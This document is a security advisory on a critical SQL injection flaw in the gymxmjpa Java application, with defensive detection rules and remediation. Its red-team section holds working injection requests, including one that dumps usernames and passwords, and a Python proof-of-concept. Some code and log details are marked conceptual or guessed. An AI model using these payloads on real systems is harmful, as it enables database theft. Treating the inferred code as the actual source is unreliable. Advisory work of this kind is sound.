CVE-2025-0408

Executive Summary

CVE-2025-0408 is a critical SQL injection vulnerability discovered in the liujianview gymxmjpa application version 1.0. The flaw resides in the LoosDaoImpl function within the LoosController.java file. By manipulating the loosName parameter, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential lateral movement within the network. The exploit has been publicly disclosed, and no official patch is currently available. This vulnerability is classified under CWE-89 (SQL Injection) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It is a standalone Java application (gymxmjpa) with no known package manager dependencies.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Data can be modified or deleted.
• Availability (A): High – Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, low complexity, and no required privileges makes this a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the LoosDaoImpl class, which is part of the data access layer for the LoosController. The loosName parameter is directly concatenated into SQL queries without proper sanitization or parameterization.

Affected Code Path:

• File: src/main/java/com/liujian/gymxmjpa/controller/LoosController.java
• Function: LoosDaoImpl (likely a method that processes the loosName parameter)

Root Cause: The application uses string concatenation to build SQL queries. For example:

String query = "SELECT * FROM loos WHERE loosName = '" + loosName + "'";

This allows an attacker to inject SQL metacharacters (e.g., single quote ') to break out of the intended query structure.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint, typically a GET or POST request with the loosName parameter. The injection point is in the SQL query, enabling UNION-based, error-based, or blind SQL injection techniques.

Impact:

• Full database enumeration (tables, columns, data).
• Authentication bypass.
• Potential command execution on the database server (e.g., via xp_cmdshell on MSSQL or COPY FROM PROGRAM on PostgreSQL).
• Data exfiltration and ransomware deployment.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// LoosController.java
public List<Loos> searchLoos(String loosName) {
    String sql = "SELECT * FROM loos WHERE loosName = '" + loosName + "'";
    return jdbcTemplate.query(sql, new LoosRowMapper());
}

Patched Code (Recommended):

// LoosController.java
public List<Loos> searchLoos(String loosName) {
    String sql = "SELECT * FROM loos WHERE loosName = ?";
    return jdbcTemplate.query(sql, new Object[]{loosName}, new LoosRowMapper());
}

The patched version uses parameterized queries (prepared statements) to separate SQL logic from user input, preventing injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running liujianview gymxmjpa 1.0.
• Network access to the vulnerable endpoint (e.g., /loos/search).

Exploit Steps:

1. Identify the vulnerable parameter: loosName.
2. Inject a single quote to test for SQL injection:

   GET /loos/search?loosName=test' HTTP/1.1
   Host: target.com
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.
3. Use UNION-based injection to extract data:

   GET /loos/search?loosName=' UNION SELECT 1,2,3,4,5-- HTTP/1.1
   

4. Enumerate database tables and columns:

   GET /loos/search?loosName=' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables-- HTTP/1.1
   

5. Dump sensitive data (e.g., user credentials):

   GET /loos/search?loosName=' UNION SELECT username,password,3,4,5 FROM users-- HTTP/1.1
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com/loos/search"
payload = "' UNION SELECT 1,2,3,4,5--"
params = {"loosName": payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL error messages in application logs (e.g., "SQL syntax error").
• Look for unusual characters in the loosName parameter (e.g., single quotes, UNION, SELECT).
• Use WAF rules to block SQL injection patterns.

Defense:

• Immediately apply input validation and parameterized queries.
• Restrict database user permissions (least privilege).
• Enable detailed logging and alerting on SQL errors.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing SQL keywords in the loosName parameter (e.g., UNION, SELECT, ').
• Unusual response sizes or database error messages in HTTP responses.

File IOCs:

• Modified or new files in the application directory (e.g., web shells).
• Database dump files (e.g., .sql, .csv).

Log IOCs:

• Application logs showing SQL syntax errors.
• Database logs showing unexpected queries (e.g., SELECT * FROM information_schema.tables).

Example Log Entry:

ERROR: com.liujian.gymxmjpa.controller.LoosController - SQL Error: ORA-00933: SQL command not properly ended
Query: SELECT * FROM loos WHERE loosName = 'test' UNION SELECT 1,2,3,4,5--'

Detection Engineering

YARA Rule

rule CVE_2025_0408_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0408"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0408"
    strings:
        $sqli1 = "loosName="
        $sqli2 = "' UNION"
        $sqli3 = "' OR '1'='1"
        $sqli4 = "information_schema"
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: CVE-2025-0408 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the loosName parameter in gymxmjpa
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/loos/search"
        c-uri|contains|all:
            - "loosName="
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0408 SQL Injection Attempt"; flow:to_server,established; content:"/loos/search"; http_uri; content:"loosName="; http_uri; pcre:"/loosName=[^&]*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply a WAF rule to block SQL injection patterns (e.g., block requests with ' in the loosName parameter).
3. Review database logs for signs of compromise.

Long-Term Fix:

• Rewrite the vulnerable code to use parameterized queries (prepared statements) as shown in the patched code section.
• Implement input validation (e.g., whitelist allowed characters for loosName).
• Conduct a full security audit of the application for similar vulnerabilities.

Patch Status: No official patch is available. The vendor (liujianview) has not released a fix. Users must apply the recommended code changes manually or discontinue use of the software.

Valters IT
Securing Digital Frontiers